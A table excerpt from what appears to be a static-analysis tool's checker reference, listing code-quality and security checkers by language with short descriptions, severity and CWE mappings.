| CONSTANT_EXPRESSION_RESULT | Wrong operator used | Integer handling issues | Java | Inadvertent use of the wrong operator results in a likely logic error. Common interchanges include bit-or and bit-and, left-shift and right-shift. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Wrong operator used | Integer handling issues | JavaScript | Inadvertent use of the wrong operator results in a likely logic error. Common interchanges include bit-or and bit-and, left-shift and right-shift. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Wrong operator used | Integer handling issues | Objective-C/C++ | Inadvertent use of the wrong operator results in a likely logic error. Common interchanges include bit-or and bit-and, left-shift and right-shift. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Wrong operator used | Integer handling issues | PHP | Inadvertent use of the wrong operator results in a likely logic error. Common interchanges include bit-or and bit-and, left-shift and right-shift. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Wrong operator used | Integer handling issues | Python | Inadvertent use of the wrong operator results in a likely logic error. Common interchanges include bit-or and bit-and, left-shift and right-shift. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Wrong operator used | Integer handling issues | Ruby | Inadvertent use of the wrong operator results in a likely logic error. Common interchanges include bit-or and bit-and, left-shift and right-shift. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Wrong operator used | Integer handling issues | Scala | Inadvertent use of the wrong operator results in a likely logic error. Common interchanges include bit-or and bit-and, left-shift and right-shift. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Wrong operator used | Integer handling issues | Swift | Inadvertent use of the wrong operator results in a likely logic error. Common interchanges include bit-or and bit-and, left-shift and right-shift. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Pointless string comparison | Incorrect expression | C/C++ | This is often the result of a copy and paste error. The comparison will always return zero. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Pointless string comparison | Incorrect expression | Objective-C/C++ | This is often the result of a copy and paste error. The comparison will always return zero. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Operands don't affect result | Integer handling issues | C/C++ | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Operands don't affect result | Integer handling issues | C# | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Operands don't affect result | Integer handling issues | Java | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Operands don't affect result | Integer handling issues | JavaScript | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Operands don't affect result | Integer handling issues | Objective-C/C++ | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Operands don't affect result | Integer handling issues | PHP | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Operands don't affect result | Integer handling issues | Python | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Operands don't affect result | Integer handling issues | Ruby | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Operands don't affect result | Integer handling issues | Scala | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Operands don't affect result | Integer handling issues | Swift | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Same on both sides | Incorrect expression | C/C++ | This is often the result of a copy and paste error. It may result in the operator always evaluating to the same result. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Same on both sides | Incorrect expression | C# | This is often the result of a copy and paste error. It may result in the operator always evaluating to the same result. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Same on both sides | Incorrect expression | Java | This is often the result of a copy and paste error. It may result in the operator always evaluating to the same result. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Same on both sides | Incorrect expression | JavaScript | This is often the result of a copy and paste error. It may result in the operator always evaluating to the same result. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Same on both sides | Incorrect expression | Objective-C/C++ | This is often the result of a copy and paste error. It may result in the operator always evaluating to the same result. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Same on both sides | Incorrect expression | PHP | This is often the result of a copy and paste error. It may result in the operator always evaluating to the same result. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Same on both sides | Incorrect expression | Python | This is often the result of a copy and paste error. It may result in the operator always evaluating to the same result. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Same on both sides | Incorrect expression | Ruby | This is often the result of a copy and paste error. It may result in the operator always evaluating to the same result. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Same on both sides | Incorrect expression | Scala | This is often the result of a copy and paste error. It may result in the operator always evaluating to the same result. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Same on both sides | Incorrect expression | Swift | This is often the result of a copy and paste error. It may result in the operator always evaluating to the same result. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Misuse of typeof | Incorrect expression | JavaScript | The code's behavior is not affected by the operand of typeof, so the code might not work as intended. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Suspicious &= or |= | Integer handling issues | C/C++ | A simple assignment would have the same effect; may indicate a logic error, or only be a minor inefficiency. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Suspicious &= or |= | Integer handling issues | C# | A simple assignment would have the same effect; may indicate a logic error, or only be a minor inefficiency. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Suspicious &= or |= | Integer handling issues | Java | A simple assignment would have the same effect; may indicate a logic error, or only be a minor inefficiency. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Suspicious &= or |= | Integer handling issues | JavaScript | A simple assignment would have the same effect; may indicate a logic error, or only be a minor inefficiency. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Suspicious &= or |= | Integer handling issues | Objective-C/C++ | A simple assignment would have the same effect; may indicate a logic error, or only be a minor inefficiency. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Suspicious &= or |= | Integer handling issues | PHP | A simple assignment would have the same effect; may indicate a logic error, or only be a minor inefficiency. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Suspicious &= or |= | Integer handling issues | Python | A simple assignment would have the same effect; may indicate a logic error, or only be a minor inefficiency. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Suspicious &= or |= | Integer handling issues | Ruby | A simple assignment would have the same effect; may indicate a logic error, or only be a minor inefficiency. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Suspicious &= or |= | Integer handling issues | Scala | A simple assignment would have the same effect; may indicate a logic error, or only be a minor inefficiency. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Suspicious &= or |= | Integer handling issues | Swift | A simple assignment would have the same effect; may indicate a logic error, or only be a minor inefficiency. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| COOKIE_INJECTION | Cookie injection | Low impact security | JavaScript | An attacker may be able to set a session ID (session fixation), change the scope or expiration time of a cookie, and otherwise affect the application's behavior by setting new cookies. | Low | Security | 20 | 17, 18, 19, 20, 254, 635, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 868, 872, 876, 883, 888, 896, 907, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | C/C++ | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | C# | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | Java | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | JavaScript | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | Objective-C/C++ | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | PHP | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | Python | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | Ruby | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | Scala | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | Swift | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_PASTE_ERROR | Copy-paste error | Incorrect expression | Visual Basic | The copied code will not have its intended effect. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| COPY_WITHOUT_ASSIGN | Copy without assign | Rule violations | C/C++ | This class has a user-defined copy constructor but no user-defined assignment operator. If the copy constructor is necessary to manage owned resources then a corresponding assignment operator is usually required. If an object of this type is assigned memory leaks and/or use-after-free errors may occur. Note that a compiler-generated assignment operator will perform only a bit-wise copy for any fields that do not have their own assignment operators defined. | Low | Quality | None | |||
| COPY_WITHOUT_ASSIGN | Copy without assign | Rule violations | Objective-C/C++ | This class has a user-defined copy constructor but no user-defined assignment operator. If the copy constructor is necessary to manage owned resources then a corresponding assignment operator is usually required. If an object of this type is assigned memory leaks and/or use-after-free errors may occur. Note that a compiler-generated assignment operator will perform only a bit-wise copy for any fields that do not have their own assignment operators defined. | Low | Quality | None | |||
| CSRF | Cross-site request forgery | High impact security | C# | Controllers that execute actions or tasks may be accessed to perform activities without the user's knowledge or authorization. These attacks are difficult to distinguish from legitimate requests. | High | Security | 352 | 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 936, 949, 975, 1000, 1003, 1008, 1014, 1019 | ✓ | |
| CSRF | Cross-site request forgery | High impact security | Java | Controllers that execute actions or tasks may be accessed to perform activities without the user's knowledge or authorization. These attacks are difficult to distinguish from legitimate requests. | High | Security | 352 | 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 936, 949, 975, 1000, 1003, 1008, 1014, 1019 | ✓ | |
| CSRF | Cross-site request forgery | High impact security | JavaScript | Controllers that execute actions or tasks may be accessed to perform activities without the user's knowledge or authorization. These attacks are difficult to distinguish from legitimate requests. | High | Security | 352 | 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 936, 949, 975, 1000, 1003, 1008, 1014, 1019 | ✓ | |
| CSRF | Cross-site request forgery | High impact security | Python | Controllers that execute actions or tasks may be accessed to perform activities without the user's knowledge or authorization. These attacks are difficult to distinguish from legitimate requests. | High | Security | 352 | 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 936, 949, 975, 1000, 1003, 1008, 1014, 1019 | ✓ | |
| CSRF | Cross-site request forgery | High impact security | Visual Basic | Controllers that execute actions or tasks may be accessed to perform activities without the user's knowledge or authorization. These attacks are difficult to distinguish from legitimate requests. | High | Security | 352 | 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 936, 949, 975, 1000, 1003, 1008, 1014, 1019 | ✓ | |
| CSRF | Cross-site request forgery | Medium impact security | C# | Controllers that execute actions or tasks may be accessed to perform activities without the user's knowledge or authorization. These attacks are difficult to distinguish from legitimate requests. | Medium | Security | 352 | 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 936, 949, 975, 1000, 1003, 1008, 1014, 1019 | ✓ | |
| CSRF | Cross-site request forgery | Medium impact security | Java | Controllers that execute actions or tasks may be accessed to perform activities without the user's knowledge or authorization. These attacks are difficult to distinguish from legitimate requests. | Medium | Security | 352 | 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 936, 949, 975, 1000, 1003, 1008, 1014, 1019 | ✓ | |
| CSRF | Cross-site request forgery | Medium impact security | JavaScript | Controllers that execute actions or tasks may be accessed to perform activities without the user's knowledge or authorization. These attacks are difficult to distinguish from legitimate requests. | Medium | Security | 352 | 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 936, 949, 975, 1000, 1003, 1008, 1014, 1019 | ✓ | |
| CSRF | Cross-site request forgery | Medium impact security | Visual Basic | Controllers that execute actions or tasks may be accessed to perform activities without the user's knowledge or authorization. These attacks are difficult to distinguish from legitimate requests. | Medium | Security | 352 | 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 936, 949, 975, 1000, 1003, 1008, 1014, 1019 | ✓ | |
| CTOR_DTOR_LEAK | Resource leak in object | Resource leaks | C/C++ | The memory will not be reclaimed by the destructor, and it cannot be reused until the process terminates. | High | Quality | 401 | 17, 18, 361, 398, 399, 400, 401, 404, 633, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 772, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| CTOR_DTOR_LEAK | Resource leak in object | Resource leaks | Objective-C/C++ | The memory will not be reclaimed by the destructor, and it cannot be reused until the process terminates. | High | Quality | 401 | 17, 18, 361, 398, 399, 400, 401, 404, 633, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 772, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| CUSTOM_KEYBOARD_DATA_LEAK | Custom keyboards allowed | Medium impact security | Swift | Permitting the use of untrusted keyboard extensions could expose the user to data theft. A malicious keyboard might log user data or forward it to remote servers. | Medium | Security | 829 | 17, 18, 361, 664, 669, 699, 700, 809, 813, 829, 864, 884, 888, 892, 895, 900, 963, 984, 1000, 1003, 1008, 1011, 1016 | ✓ | |
| DC.DANGEROUS | Call to an inherently dangerous function | Low impact security | Java | Program invariants may be violated in unexpected and irrecoverable ways. | Low | Quality, Security | 242 | 17, 18, 227, 242, 398, 676, 699, 700, 710, 734, 738, 743, 746, 748, 865, 868, 872, 877, 884, 887, 888, 900, 907, 978, 1000, 1001, 1003, 1006 | ✓ | |
| DC.DEADLOCK | Call to a deadlock-prone function | Low impact security | Java | Program may deadlock: two or more threads will be waiting on each other indefinitely and unable to progress. | Low | Quality, Security | 833 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 833, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| DC.STREAM_BUFFER | Calling risky function | Security best practices violations | C/C++ | May result in a security violation | Low | Security | 676 | 17, 18, 398, 676, 699, 700, 710, 734, 738, 743, 746, 865, 868, 872, 877, 884, 887, 888, 900, 907, 978, 1000, 1001, 1003, 1006 | ✓ | |
| DC.STREAM_BUFFER | Calling risky function | Security best practices violations | Objective-C/C++ | May result in a security violation | Low | Security | 676 | 17, 18, 398, 676, 699, 700, 710, 734, 738, 743, 746, 865, 868, 872, 877, 884, 887, 888, 900, 907, 978, 1000, 1001, 1003, 1006 | ✓ | |
| DC.STRING_BUFFER | Calling risky function | Security best practices violations | C/C++ | May result in a security violation | Low | Security | 676 | 17, 18, 398, 676, 699, 700, 710, 734, 738, 743, 746, 865, 868, 872, 877, 884, 887, 888, 900, 907, 978, 1000, 1001, 1003, 1006 | ✓ | |
| DC.STRING_BUFFER | Calling risky function | Security best practices violations | Objective-C/C++ | May result in a security violation | Low | Security | 676 | 17, 18, 398, 676, 699, 700, 710, 734, 738, 743, 746, 865, 868, 872, 877, 884, 887, 888, 900, 907, 978, 1000, 1001, 1003, 1006 | ✓ | |
| DC.WEAK_CRYPTO | Calling risky function | Security best practices violations | C/C++ | May result in a security violation | Low | Security | 676 | 17, 18, 398, 676, 699, 700, 710, 734, 738, 743, 746, 865, 868, 872, 877, 884, 887, 888, 900, 907, 978, 1000, 1001, 1003, 1006 | ✓ | |
| DC.WEAK_CRYPTO | Calling risky function | Security best practices violations | Objective-C/C++ | May result in a security violation | Low | Security | 676 | 17, 18, 398, 676, 699, 700, 710, 734, 738, 743, 746, 865, 868, 872, 877, 884, 887, 888, 900, 907, 978, 1000, 1001, 1003, 1006 | ✓ | |
| DEADCODE | Dead case in switch | Possible Control flow issues | C/C++ | By the time the program execution reaches this switch statement, the value cannot be equal to the given case. The code at the case is not dead, because it can be reached by falling through from a previous case. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead case in switch | Possible Control flow issues | C# | By the time the program execution reaches this switch statement, the value cannot be equal to the given case. The code at the case is not dead, because it can be reached by falling through from a previous case. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead case in switch | Possible Control flow issues | Java | By the time the program execution reaches this switch statement, the value cannot be equal to the given case. The code at the case is not dead, because it can be reached by falling through from a previous case. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead case in switch | Possible Control flow issues | Objective-C/C++ | By the time the program execution reaches this switch statement, the value cannot be equal to the given case. The code at the case is not dead, because it can be reached by falling through from a previous case. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead case in switch | Possible Control flow issues | Scala | By the time the program execution reaches this switch statement, the value cannot be equal to the given case. The code at the case is not dead, because it can be reached by falling through from a previous case. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead case in switch | Possible Control flow issues | Swift | By the time the program execution reaches this switch statement, the value cannot be equal to the given case. The code at the case is not dead, because it can be reached by falling through from a previous case. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead case in switch | Possible Control flow issues | Visual Basic | By the time the program execution reaches this Select statement, the value cannot be equal to the given Case. The code at the Case is not dead, because it can be reached by falling through from a previous Case. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead default in switch | Possible Control flow issues | C/C++ | The statements in the default case are never executed. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead default in switch | Possible Control flow issues | C# | The statements in the default case are never executed. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead default in switch | Possible Control flow issues | Java | The statements in the default case are never executed. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead default in switch | Possible Control flow issues | Objective-C/C++ | The statements in the default case are never executed. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead default in switch | Possible Control flow issues | Scala | The statements in the default case are never executed. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead default in switch | Possible Control flow issues | Swift | The statements in the default case are never executed. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Dead default in switch | Possible Control flow issues | Visual Basic | The statements in the Case Else are never executed. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | 'Constant' variable guards dead code | Possible Control flow issues | C/C++ | A variable being assigned only once may be intentionally guarding disabled code, or it may represent incomplete logic where a missing assignment would make the variable not be constant. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | 'Constant' variable guards dead code | Possible Control flow issues | C# | A variable being assigned only once may be intentionally guarding disabled code, or it may represent incomplete logic where a missing assignment would make the variable not be constant. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | 'Constant' variable guards dead code | Possible Control flow issues | Java | A variable being assigned only once may be intentionally guarding disabled code, or it may represent incomplete logic where a missing assignment would make the variable not be constant. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | 'Constant' variable guards dead code | Possible Control flow issues | Objective-C/C++ | A variable being assigned only once may be intentionally guarding disabled code, or it may represent incomplete logic where a missing assignment would make the variable not be constant. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | 'Constant' variable guards dead code | Possible Control flow issues | Scala | A variable being assigned only once may be intentionally guarding disabled code, or it may represent incomplete logic where a missing assignment would make the variable not be constant. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | 'Constant' variable guards dead code | Possible Control flow issues | Swift | A variable being assigned only once may be intentionally guarding disabled code, or it may represent incomplete logic where a missing assignment would make the variable not be constant. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | 'Constant' variable guards dead code | Possible Control flow issues | Visual Basic | A variable being assigned only once may be intentionally guarding disabled code, or it may represent incomplete logic where a missing assignment would make the variable not be constant. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Logically dead code | Control flow issues | C/C++ | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Logically dead code | Control flow issues | C# | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Logically dead code | Control flow issues | Java | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
